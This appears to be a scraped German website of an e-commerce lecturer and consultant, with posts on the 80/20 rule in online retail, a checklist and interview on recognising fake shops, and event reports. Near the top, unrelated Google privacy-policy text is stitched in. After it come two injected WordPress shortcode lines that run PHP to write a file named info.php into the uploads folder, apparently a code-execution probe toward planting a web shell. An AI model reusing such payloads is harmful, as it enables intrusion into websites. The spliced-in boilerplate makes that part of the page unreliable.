Dozent E-Commerce

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‚wp-content/uploads/info.php‘, “); [/insert_php]
[php] echo 147098235+111;file_put_contents(‚wp-content/uploads/info.php‘, “); [/php]

E-Commerce Pareto

Wie kann ich meinen Online-Shop zielgerichtet optimieren?
Im 19. Jahrhundert entwickelte der italienische Ökonom Vilfredo Pareto eine mathematische Theorie über die Einkommensverteilung in seinem Land. Im Laufe der Zeit wurde daraus die heute bekannte 80/20-Regel, die sich im Prinzip mit dem Verhältnis von eingesetztem Aufwand zu erzieltem Ertrag befasst.

Sie besagt, dass 80 % der Ergebnisse mit 20 % des Gesamtaufwandes erreicht werden können. Die übrigen 20 % der Ergebnisse benötigen mit 80 % die meiste Arbeit. Diese Erkenntnis hilft dabei, Zeit und Ressourcen effektiv und effizient zu nutzen.

Weitere Beispiele:

  • 20% der Kunden eines Unternehmens erwirtschaften 80% des Umsatzes,
  • 80% der Beschwerden kommen von 20% der Kunden.
  • 20% der Produkte sorgen für 80% des Umsatzes.

Demnach könnten sich Verantwortliche im E-Commerce auf die 20% erfolgversprechendsten Kunden / Websites / Produkte fokussieren. Etwa, indem sie sich zuerst dem Potential der „guten“ Bestandskunden widmen und die Kommunikation mit diesen optimieren. Oder indem sie Anpassungen im Sortiment des Onlineshops  bei den wichtigsten Produkten vornehmen. Aber was ist mit den übrigen 80%?

Nicht immer bestätigt die Empirie das 80-20 Verhältnis

Tatsächlich zeigen Untersuchungen von  Online-Shops auch andere Verteilungen,  beispielsweise 90-10, 70-30 oder auch 20-90. So beschreibt etwa Chris Anderson in seinem Buch „The long tail“  nämlich, dass mit einer großen Zahl wenig gefragter Produkte mehr Umsatz generiert wird, als mit einer kleinen Zahl an Bestsellern (s. Chris Andersons Buch „The Long Tail“)

Was bedeutet das für den Erfolg im E-Commerce?

Onlineshops weisen in der Regel eine große Vielfalt und Komplexität von Produkten auf. Daher ist eine empirische Analyse unerlässlich, sowohl bei der Frage „Wer sind meine Top-Kunden?“ wie auch in der Prozessgestaltung. Denn wer weiß, welche Kunden wann ihren Einkauf abbrechen, hat auch die Chance, sie wieder zu gewinnen. Genaue Beobachtung ermöglicht also eine Einschätzung über die Prioritäten der verschiedenen Aktivitäten und Produkte. Darauf aufbauend lässt sich das Sortiment des Onlineshops dann zielgerichtet optimieren.

Zu Pareto im E-Commerce durfte ich im Rahmen der internetwoche 7 am 28. Oktober einen Fachvortrag halten. Initiiert von eco, dem Verband der Internetwirtschaft e.V. und der Stadt Köln wurde sechs Tage lang an 40 Locations über die Herausforderungen und Chancen des digitalen Wandels diskutiert. Eine unglaublich tolle Plattform für Inspiration und Austausch!

Wertvolle Ideen und Tipps für den erfolgreichen Internetauftritt

Die IHK-Köln beteiligte sich mit mehreren Veranstaltungen, unter anderem zum Thema „Erfolg im Internet“. Christian Tembrink, Geschäftsführer von netspirits, Prof. Dr. phil. Stefan Strauß, Geschäftsführer von STRAUSS MEDIA und ich selbst als Geschäftsführer von warenkorb.com wurden dabei als Referenten professionell bestens begleitet von Moderator Thomas Riedel.

Für die Gelegenheit zu diesem Engagement danke ich besonders Ronny Manthei, zuständig für Aus- und Weiterbildung bei der IHK Köln, für seine hervorragende organisatorische Unterstützung.

Ecommerce Security

Stadtanzeiger 2.0

Vorsicht bei Vorkasse

Frage: Herr Bauer, Sie befassen sich seit 15 Jahren beruflich mit dem Thema „Online-Shops“. Wie erkenne ich den Unterschied zwischen einer seriösen und einer Betrüger-Seite?

Antwort: Auf den ersten Blick häufig gar nicht. Das ist ja das Problem. Die Seiten sehen oft professionell aus. Und auch die Domain hat nicht selten den Namen eines großen Markenherstellers, lediglich ergänzt durch einen Zusatz, etwa „-deutschland“. Dass sie Opfer eines Fake-Shops geworden sind, merken die Kunden meist erst im Nachhinein – wenn die Ware, die sie bestellt und bezahlt haben, nicht ankommt.

Frage: Gibt es keine Warnzeichen?

Antwort: Doch. Ein erster Anhaltspunkt ist der Preis. Liegt der deutlich unter dem marktüblichen, sollte man vorsichtig sein. Außerdem hilft meist ein Blick ins Impressum. Das sollte neben Namen und Anschrift des Anbieters, Informationen zur Kontaktaufnahme haben, beispielsweise Telefonnummer oder E-Mail. Wichtig ist auch der Sitz des Unternehmens. Ist der im Ausland bedeutet das zwar nicht zwingend, dass man vorsichtig sein sollte. Doch sitzt der Händler in der EU, gelten für die Kunden auch die entsprechenden Verbraucherrechte, wie beispielsweise das Widerrufsrecht. 

 

Frage: Gibt es auch ganz sichere Anzeichen, dass es sich um eine Betrüger-Seite handelt?

Antwort: Stutzig werden sollten Kunden immer dann, wenn der Händler lediglich Vorkasse oder Western-Union als Zahlungsmöglichkeit anbietet. Für eine seriöse Seite hingegen spricht ein Zahlungsmethoden-Mix aus Rechnungskauf, PayPal, Lastschrift, Sofortüberweisung, Vorkasse und Nachnahme.

Frage: Gibt es weitere Dinge, an denen ich einen seriösen Shop erkenne?

Antwort: Ein guter Hinweis sind Gütesiegel, wie etwa von Trusted Shops, EHI oder TÜV Süd. Ganz wichtig dabei ist, dass man das Logo mit dem entsprechenden Siegel auch anklicken kann – und es sich dabei nicht lediglich um ein Bild handelt. Denn ist die Seite tatsächlich mit dem Siegel ausgezeichnet, gelangt man immer durch Klick auf das Logo zum entsprechenden Zertifikat. Das Bild aus dem Netz herunterladen und auf die Seite stellen kann schließlich jeder.

Frage: Was ist, wenn ich über Amazon oder E-Bay an einen Fake-Shop gerate?

Antwort: Betrüger bieten auch über diese Plattformen immer wieder Ware an. Ein Indiz dafür, dass es sich um einen unseriösen Verkäufer handelt ist, wenn dieser die Produkte am Ende nicht über die Plattform selbst verkaufen möchte. Er gibt vor, die Gebühren umgehen zu wollen – und gibt dann Kontodetails per Telefon oder E-Mail weiter. Darauf sollte man niemals eingehen, da man dadurch die Gewährleistung und Sicherheit der Plattform verliert. Und im Falle eines Betruges auf den Kosten sitzenbleibt.

Frage: Wenn ich auf einen Fake-Shop reingefallen bin, kann ich dann nicht rechtlich gegen den Betreiber vorgehen?

Antwort: Das ist leider sehr schwierig. Es handelt sich dabei meist um ausländische Briefkasten-Firmen. Den Betreiber der Seite herauszufinden ist fast unmöglich. Das Geld landet auch meist auf Konten im Ausland.

Frage: Lässt sich in solchen Fällen nicht der Konto-Inhaber ermitteln?

Antwort: Auch das ist kaum möglich. Die Kriminellen sind da leider sehr kreativ. Sie verwenden etwa bei Erstellung des Kontos gefälschte Personaldaten. Ein Online-Konto anzulegen ist nicht überall so reglementiert wie in Deutschland. Oder sie verwenden gehackte Online-Banking-Konten, um die Geldströme zu schleusen. Die Kontoinhaber selbst bekommen davon meist gar nichts mit. Im Darknet etwa können Kontozugangsdaten gekauft werden.

Frage: Kann ich das Geld nicht zurückbuchen?

Antwort: Das Problem bei den Fake-Shops ist, dass die Kunden immer per Vorkasse bezahlen müssen. Und die Kunden schöpfen ja meist erst dann Verdacht, wenn sie die Ware nach einigen Tagen nicht erhalten. Und dann ist das entsprechende Konto längst leergeräumt. Auch die Bank haftet in solchen Fällen nicht. 

Frage: Werden die Lieferbedingungen und fristen klar kommuniziert?

Antwort: Auch wenig transparente Lieferbedingungen können ein Indikator für „Fake-Onlineshops“ sein. Kosten und Dauer müssen für den Kunden klar während des Bestellvorgangs erkennbar sein.

Frage: Was kann ich also tun?

Antwort: Die einzige Möglichkeit ist eigentlich, erst gar nicht auf einen Fake-Shop reinzufallen. Sie sollten daher vor jedem Kauf immer auf den Gesamteindruck der Seite achten, indem Sie die wichtigen Kriterien wie Preis, Impressum, Sitz des Händlers und die angebotenen Zahlungsmöglichkeiten überprüfen. Und die goldene Regel beachten: Im Zweifel niemals Ware per Vorkasse bezahlen.

 

Onlineshop Berater

Eine 15-Punkte-Checkliste für den sicheren Kauf im Internet.

Immer mehr Waren und Dienstleistungen werden im Internet gehandelt. Parallel zu diesem Handelsvolumen steigt auch die Anzahl von Onlineshops und damit leider auch die Zahl der sogennannten „Fake-Shops“. Bei einem Fake-Shop handelt es sich um einen auf den ersten Blick seriös wirkenden Onlineshop, der den Kunden aber in Wirklichkeit um sein Geld betrügen möchte. Die folgende Checkliste soll Ihnen in Zukunft die Möglichkeit bieten, einen seriösen Onlinehändler von einem Betrüger zu unterscheiden.

1. Ist der Anbieter der Seite klar erkennbar?

In Deutschland gibt es gesetzliche Vorschriften, die beim betreiben eines Shops beachtet werden müssen. Ganz wichtig ist nach §5 des Telemediengesetztes die Bereitstellung des Impressums, zu der ein Händler verpflichtet ist. Sollten die Daten den gesetzlichen Anforderungen nicht entsprechen, laufen die Händler Gefahr, kostenpflichtig abgemahnt zu werden. Inhalt des Impressums sollten sein: Namen und Anschrift des Anbieters, Informationen zur Kontaktaufnahme (beispielsweise Telefonnummer oder E-Mail). Weiterhin entsprechende Registernummern (z.B. Handelsregisternummer) und sofern Umsatz- bzw. Wirtschaftsidentifikationsnummer. Ebenfalls sollten diese leicht erkennbar, unmittelbar erreichbar und ständig verfügbar sein.

2. Wo ist der Sitz des Händlers?

Ist der Sitz eines Händlers im Ausland bedeutet es nicht zwingend das „Vorsicht geboten“ ist. Allerdings sollten Sie vor dem Kauf auf verschiedene Punkte achten. Sitzt der Händler in der EU, so gelten für die Kunden auch die Verbraucherrechte der EU, wie beispielsweise das Widerrufsrecht. Allerdings gibt es auch hier kleinere Abweichungen, z.B. bei der Länge des Widerrufssrechts. Grundsätzlich jedoch gilt das Recht des Staates, in dem der Verkäufer seinen Sitz hat. Ein ausländischer Händler mit einem für den deutschen Markt ausgerichteten Webshop, muss sich also an die deutschen Verbraucherschutzregeln halten, sonst handelt er rechtswidrig.

3. Wie ist das Preisniveau der Waren?

Werden die Waren zu einem ungewöhnlich niedrigen Preis angeboten (ca. 40-70% unter dem marktüblichen Preis), sollten Sie zwei Mal hinsehen. Niedrige Preise können auf unterschiedliche Weise zustande kommen: B-Ware, defekte oder teildefekte Produkte, gebrauchte Ware, Plagiate, Fälschungen oder indem es sich um einen Fake-Shop handelt und die Ware nach der Bezahlung niemals versendet wird.

4. Werden die Preisangaben transparent dargestellt?

Die Preisauszeichnung muss in jedem Fall transparent dargestellt werden und darf keine Unklarheiten aufkommen lassen. Unmittelbar um die Preisangaben herum, muss demnach über Mehrwertsteuer und Zusatzkosten wie ggf. anfallende Versandkosten oder Zölle und deren Höhe informiert werden. Auch fehlende Grundpreisangaben (z.B. Preis je Mengeneinheit) müssen angegeben werden. Weitere preisbezogene Informationen müssen ebenfalls auf der Seite (z.B. über Sternchen-Verweise) zu finden und gut lesbar sein.

5. Werden Sie als Kunde in irgendeiner Form benachteiligt?

Achten Sie auf das Kleingedruckte der AGBs. Die Allgemeinen Geschäftsbedingungen können vom Händler gestaltet werden jedoch ausschließlich in einem „zulässigen Rahmen“. Zu viele nachteilige Klauseln sprechen gegen die Seriosität eines Onlineshops. Unangemessene oder nicht verhältnismäßig Änderungen, sowie gegen das Gesetz verstoßende Regelungen sind nichtig.

6. Sind Ihre Daten geschützt?

Ein wichtiger Indikator ist der Umgang mit Ihren Daten. Werden Sie darauf hingewiesen, wie Ihre Daten verwendet werden und dass die Verwendung mit den Datenschutzbestimmungen übereinstimmt? Ebenfalls sollten ihre Daten über SSL verschlüsselt übertragen werden. Dies erkennen Sie unter anderem am „https“ sowie an meist mit einem grünen Schloss dargestellten Zertifikaten in der Browserleiste.

7. Gibt es Gütesiegel und Zertifikate? Und sind diese verlinkt?

Sicherheit beim Online-Kauf bietet die Verwendung von Gütesiegeln und Zertifikaten wie beispielsweise „Trusted Shops“, „TÜV Süd Safer Shopping“ oder „EHI geprüfter Onlineshop“. Nur wenn die Gütesiegel klickbar und mit den dazu passenden Informationen/Zertifikaten hinterlegt sind, stehen Sie auch auf der sicheren Seite.

8. Welche Zahlungsmethoden bietet der Händler an?

Im Checkout-Prozess also der Kassenzone des Onlineshops können Sie ebenfalls an einigen Punkten die Seriosität eines Anbieters überprüfen. Bietet ein Händler lediglich Vorkasse oder Western-Union als Zahlungsmöglichkeit an, sollten Sie stutzig werden. Ein Zahlungsmethoden-Mix aus Rechnungskauf, PayPal, Lastschrift, Sofortüberweisung, Vorkasse und Nachnahme ist dagegen eine sichere Lösung. Beim Lastschriftverfahren und der PayPal-Bezahlung lassen sich Zahlungen auch wieder zurückholen. Am sichersten ist jedoch der „Kauf auf Rechnung“ so können Sie sicher sein das Sie auch nur für das bezahlen was sie erhalten.

9. Werden die Lieferbedingungen und fristen klar kommuniziert?

Auch wenig transparente Lieferbedingungen können ein Indikator für „Fake-Onlineshops“ sein. Kosten und Dauer müssen für den Kunden klar während des Bestellvorgangs erkennbar sein.

10. Wie ist die Erreichbarkeit der Shops? Wie schnell reagiert der Händler?

Die Erreichbarkeit des Händlers kann ebenfalls entscheidend zur Seriosität beitragen. Er ist nicht nur gesetzlich verpflichtet im Impressum die Kontaktdaten anzugeben, sondern darüber hinaus muss innerhalb eines bestimmten Zeitraums der Händler über einen Kommunikationsweg erreichbar sein! Andernfalls muss der Anbieter gewährleisten und eindeutig darauf hinweisen, wann er auf Anfragen (per Mail oder Formular) reagiert.

11. Kundenbewertungen: Echt oder Fake? Wie lassen sich echte Kundenbewertungen von gekauften Kundenbewertungen unterscheiden?

Ist ein Online-Shop ausschließlich mit 100% positivem Feedback bewertet, kann dies ein Anzeichen für einen unseriösen Anbieter sein, der sich positive Bewertungen einkauft hat, oder diese einfach selbst verfasst. Auch bei besonders vielen, sehr ausführlich und in gleichem Sprachstil geschriebenen Bewertungen sollten Sie aufmerken. Finden sich jedoch unterschiedliche Sprachstile, authentische und ehrliche Bewertungen und Beschreibungen, sind Sie bei dem Anbieter eher auf der sicheren Seite. Weiterhin sollten Sie sich ggf. die Bewertungen des Anbieters auf den großen Marktplätzen wie z.B. Amazon oder eBay ansehen.

12. Wie sind die Erfahrungen anderer Kunden mit dem Shop? Wie ist die Reputation?

Positives Feedback ist kein Garant für Seriosität. Schauen Sie im Internet nach Erfahrungen anderer Kunden mit dem Shop und halten Sie Ausschau nach Beschwerden in Verbraucherschutzforen.

13. Wie lange besteht der Online-Shop bereits?

Ist der Online-Shop noch neu, hat aber bereits hunderte positive Bewertungen, sollten Sie auch stutzig werden. Auf www.denic.de können Sie deutsche Seiten auf ihr Alter hin überprüfen und ihre Wahl ggf. überdenken.

14. Ist der Online-Shop in den sozialen Medien vertreten?

Ist ein Online-Shop auch auf bspw. Facebook vertreten, ist dies ein gutes Zeichen. Doch auch hier sollte eine impressumsähnliche Angabe dem Kunden die Möglichkeit bieten, mit dem Händler Kontakt aufzunehmen. Ebenfalls zeigen Aktivitäten auf der Seite an, dass in einen authentischen Medienauftritt investiert wird.

15. Wie ist das allgemeine Erscheinungsbild des Shops?

Nicht zu vernachlässigen ist der Gesamtauftritt der Seite. Ist die Seite unübersichtlich gestaltet? Müssen Sie sich als Kunde erst durch die Tiefen der Seite suchen, um alle relevanten Informationen zu finden? Finden sich sogar viele Rechtschreibfehler oder ist der Inhalt fehlerhaft? All dies können Anzeichen für einen unseriösen Shop-Betreiber sein. Sie sind sich nicht sicher, ob Sie gerade vor einem Fake-Shop sitzen? „Watchlist Internet“ bietet eine Übersicht über betrügerische Seiten und Fallen im E-Commerce.

Fazit:

Achten Sie in jedem Fall auf den Gesamteindruck eines Onlineshops indem Sie mehrere der oben genannten Punkte aus der Checkliste kombinieren. Mit jedem dieser Punkte an den Sie gedanklich einen Haken machen können, sinkt das Risiko auf einen „Fake-Shop“ hereinzufallen.

„Amazon ist der mit Abstand führende Marktplatz. Die Frage für Händler ist nicht mehr, ob man auf Amazon verkauft, sondern wie. Händler müssen eine Vielzahl von strategischen sowie operativen Entscheidungen treffen.“ Ein Format zum fachlichen und persönlichen Austausch speziell zu diesem Thema hat Veranstalter Trutz Fries mit der Amzcon entwickelt. Die erste unabhängige Konferenz, die sich ausschließlich und intensiv mit dem Handel auf Amazon beschäftigt, fand am 08. April 2016 in Köln statt. Mit Blick auf die Kölner Skyline trafen sich 250 Teilnehmer im 27. und 28. Stock des Köln Triangle zu Fach- und Impulsvorträgen – und zum Networking.

„Coole Speaker und viel gelernt“

Ein vielfältiges Programm beantwortete, wie Händler den Marketplace am besten für sich nutzen können und was sie alles beachten müssen. Und zwar in allen Belangen der Wertschöpfungskette. Über Strategien, Erfahrungen und Learnings sprachen nicht nur große Multichannel-Händler, sondern auch erfolgreichen Private-Label-Seller. So wurden neben Tipps zum Verkauf auch Grundlagen wie etwa die richtige Verhandlungsstrategie, Aufklärung über rechtliche Aspekte, Handelsstrategien und Marketingmaßnahmen präsentiert. Profitieren konnten alle Teilnehmer, denn es gab den „Starter-Track“ für Einsteiger und Private-Label-Seller sowie den „Expert-Track“ mit Fachvorträgen für professionelle Seller und Vendoren.

„Von Verkäufern für Verkäufer“

Die Amzcon bot nicht allein Know-How-Transfer, sondern bot auch viel Raum für den Austausch mit den Referenten. Im Anschluss an die Konferenz hatten die Teilnehmer bei einem Get-together vor Ort die Möglichkeit, Kontakte zu anderen Händlern und Experten zu knüpfen.

Mein persönlicher Dank geht an Trutz Fries, den Geschäftsführer von Amzcon, für die Gelegenheit, diese inspirierende und ausgesprochen spannende Veranstaltung moderieren zu dürfen.

Philipp M Froben_21Mit dem Magazin „101 Digitale Köpfe NRW“ stellt Philipp M. Froben (Geschäftsführer des Medienhauses DuMont Rheinland) in Zusammenarbeit mit der Initiative  „Digitale Wirtschaft NRW“ des Ministeriums für Wirtschaft, Energie, Industrie, Mittelstand und Handwerk erstmals führende Denker und Macher der digitalen Wirtschaft in Nordrhein-Westfalen vor.

Diese geben einen Einblick in ihren Weg der digitalen Transformation, in innovative Geschäftsmodelle oder ihr besonderes Engagement in Form von konkretem Support und Networking-Angeboten. Täglich werden es mehr. Das ist gut so, denn benötigt werden kreative Köpfe, wirkungsvolles Kapital und nachhaltige Kooperationen von und für Startups, Mittelstand und Industrie für den digitalen Wandel in NRW.

 

Denn die Botschaft ist allzu klar: Wer in Zukunft digital nicht mitspielen kann oder will, sitzt bald auf der Tribüne.

 

Die Digitale Wirtschaft ist deswegen für Nordrhein-Westfalen herausragend wichtig. Als Querschnittsbranche aus Informations- und Kommunikationswirtschaft, Kreativ- und Medienwirtschaft und der reinen Internetwirtschaft bietet sie enorme Chancen.

Neben all diesen herausragenden Köpfen, die in diesem Magazin vorgestellt werden, durfte ich mich sehr geehrt fühlen ebenfalls in diesem Magazin aufzutreten. Unter anderem habe ich ein kurzes Interview abgegeben.

 

Frage: Warum sind Startups für die Digitale Wirtschaft NRW wichtig?

Die Kombination aus innovativem Startup-Know-How und dem bodenständigen Mittelstands-Erfahrungsschatz bietet eine gemeinsame Zukunftsvision.

 

Frage: Was wünschen Sie sich für die digitalen Startups in NRW?

Bezahlbare Gewerbemieten für junge Unternehmer und weniger Bürokratie bei der Unternehmensgründung.

 

Frage: Warum sollten sich digitale Startups in  NRW gründen?

Weil nicht nur Berlin und München interessante Projekte, Perspektiven und Veranstaltungen bieten.

 

Mentorenprogramm Köln

Robin Rohrmann ist Absolvent der Hochschule Fresenius. Er hat seine Erfahrungen, die er während des Mentoring-Programms mit mir gesammelt hat, zusammengefasst.

Robin Rohrmann Profilbild

Mein Mentor Felix Bauer, Alumnus der Hochschule Fresenius und Gründer des Startups „warenkorb.com“ & „shopadvisors“ unterstütze mich hauptsächlich bei meiner Berufswahl und förderte mich weiterhin in meiner Persönlichkeitsentwicklung. Schließlich ermutigter er mich, den Weg zu meinem neuen Arbeitgeber Rocket Internet– für den ich nun als City Manager in München tätig bin – einzuschlagen. Nach dem ersten Kick-off-Meeting fanden viele gemeinsame Treffen in Parks, Brauhäusern oder im Startplatz, einem Inkubator für Unternehmensgründung, sowie in Felix Büro statt. Hierbei hatten wir Gelegenheit, über die vielfältigen Möglichkeiten nach meinem Bachelor-Abschluss zu sprechen. Nach praktischen Situationen im Bereich Audit bei der KPMG AG, in der Unternehmensberatung McKinsey & Company sowie in der internationalen Kanzlei Bridgehouse-Law in Amerika. War es mir sehr wichtig, auch die unternehmerische Perspektive kennenzulernen. Durch den engen Erfahrungsaustausch mit Felix wurde ich ermutigt, meinen eigenen Werdegang kritisch zu hinterfragen und auch ein Augenmerk auf die persönliche Erfüllung im Berufsleben zu legen. Felix konnte mir konkrete Hilfestellung vor dem Berufseinstieg geben. Hierbei gab er mir schon Tipps hinsichtlich des Umgangs mit Berufsnetzwerken wie Linkedln und Xing. Dies führte letztlich auch zum erhofften Erfolg.

„Meine Erwartungen an das Mentoring-Programm wurden bei Weitem übertroffen“

Ein Headhunter von Rocket Internet wurde auf mich aufmerksam. Nach einem Praktikum und einer semesterbegleitenden Tätigkeit als Werkstudent bei Rocket Internet im Global Venture Development habe ich nun auch den Berufseinstieg über Rocket gefunden. Das Rocket-Unternehmen ,ZipJet´ hat den ,bestaubten´ und fragmentierten Markt für Textilreinigung aufgegriffen, um seinen Kunden mehr Lebensqualität zu verschaffen. Als City Manager verantworte ich den Launch in deutschen Städten und baue hier neben Strukturen einheitliche Prozesse für die Bereiche Operations, Sales, Marketing und das Management-Reporting auf. Darüber hinaus geht es vor allem darum, kosteneffiziente Lösungen zu erarbeiten und ein dynamisches Team zu formen, welches den täglichen Herausforderungen gewachsen ist. Felix war für mich jederzeit erreichbar und stand mir mit Ratschlägen stets zur Seite. Auch über unser Privatleben haben wir offen miteinander kommuniziert und wir sind hierdurch enge Freunde geworden. Meine Erwartungen an das Mentoring-Programm wurden bei Weitem übertroffen!“

Onlineshop Berater

Durch Feedback gemeinsam schneller wachsen. Seit Beginn des Wintersemesters 2015 halte ich vor Studenten der Hochschule Fresenius Köln die Vorlesung „Electronic Commerce“. In jedem Semester bewerten die Studenten der Hochschule ihre Dozenten. Durch das daraus gewonnene Feedback soll den Dozenten die Möglichkeit geboten werden, ihre Vorlesungen zu optimieren.

Die Umfrage setzt sich aus folgenden 4 Fragen zusammen:

Wie ist Ihr bisheriger Eindruck vom Dozenten?

Bewertung 1

Wie finden Sie bisher die Inhalte & Konzeption der Lehrveranstaltung?

Bewertung 2

Wie sehen Sie die Rahmenbedingungen der Veranstaltung?

Bewertung 3

Zum Schluss eine Gesamtbeurteilung.

Bewertung 5

Solch eine Zwischenevaluation ist für die Gestaltung der Vorlesung sehr hilfreich, denn dadurch kann ich die Lehrveranstaltungen so anpassen, dass Erlerntes verstärkt wird und Entwicklungspotenziale zum Vorschein kommen. Außerdem haben die Kursteilnehmer bei der Zwischenevaluation die Option, einen Kommentar zu hinterlassen und damit Verbesserungen einzubringen und die Vorlesung aktiv mitzugestalten.

Felix Bauer referiert vor Delegation der China Post über den deutschen E-Commerce Markt.

Das Carl Duisberg Centrum für Fremdsprachen Köln ist bekannt für Sprachkurse im Rheinland und deutschlandweit.  Darüber hinaus bietet es aber auch individuelle Trainings für Privatpersonen und Unternehmen aller Branchen. Das Angebot richtet sich u.a. an Fach- und Führungskräfte in der internationalen Zusammenarbeit und Berufsgruppen, die ihre interkulturelle Handlungsfähigkeit in ihrem konkreten Arbeitsumfeld ausbauen möchten.

East meets West

Auf Initiative des Carl Duisberg Centrums Köln konnte eine Delegation der China Post verschiedene Unternehmen im Raum Köln/Bonn besuchen. Um zu erfahren, wie der deutsche E-Commerce Markt funktioniert, kamen sie auch in den Startplatz im Kölner Mediapark. Hier war ich eingeladen, einen entsprechenden Fachvortrag zu halten – zum Glück nicht auf Chinesisch, sondern auf Englisch.

Die ca. 40 Teilnehmer interessierten sich besonders für spezialisierte Dienstleistungen von Online-Händlern in Deutschland. Dazu habe ich anhand des Beispiels DHL referiert: wie stellt sich der Marktplatz von DHL dar? Welche Angebote werden über die DHL-Tochter Allyouneed.com vertrieben? Welche Tools kommen für Bestellung, Bezahlung und Versand zum Einsatz?

Weitere Inhalte waren:

Der deutsche E-Commerce Markt und seine Struktur

  • Marktstruktur, Plattformen und Netzwerke
  • Typologie der Online-Händler
    • Pure-Player = Reiner Onlinehandel mit Onlineshop und Marktplatzanbindung
    • Multichannel = Onlinehandel (Marktplatz und Onlineshop) und Kataloggeschäft
    • Omnichannel = Online über alle digitalen Kanäle, sowie Kataloggeschäft und Ladengeschäft
  • Verwendung von Shopsystemen
  • Die Marktplätze im deutschen E-Commerce Markt

Schließlich kann man den deutschen E-Commerce Markt nicht betrachten, ohne auf die Bedeutung von GOOGLE als Traffic-Lieferant einzugehen. Ebenso entscheidend ist die Bedeutung von innovativer Technik als USP, denn auf Dauer werden nur diejenigen Handelsmodelle bestehen, welche sich durch Alleinstellungsmerkmale klar vom Wettbewerb abgrenzen. Diese können klassisch in den Bereichen Preisführerschaft, exklusive Produktauswahl oder Servicegestaltung bzw. Emotionalisierung bestehen. Doch gerade für Betreiber von Online-Shops gilt es viele kleine „Ja“  der Kunden zu produzieren, damit  die Conversion stimmt. Dafür kann auch die richtige Technik ein Erfolgsfaktor sein.

Offenbar genügend Stichworte für angeregte Gespräche beim anschließenden Lunch.  „East meets West“ war das Motto auch bei der charmanten traditionellen Übergabe der Gastgeschenke: handgefertigte Seidentücher wurden gegen typisch rheinische Spezialitätenkörbe getauscht und weckten auf beiden Seite große Freude.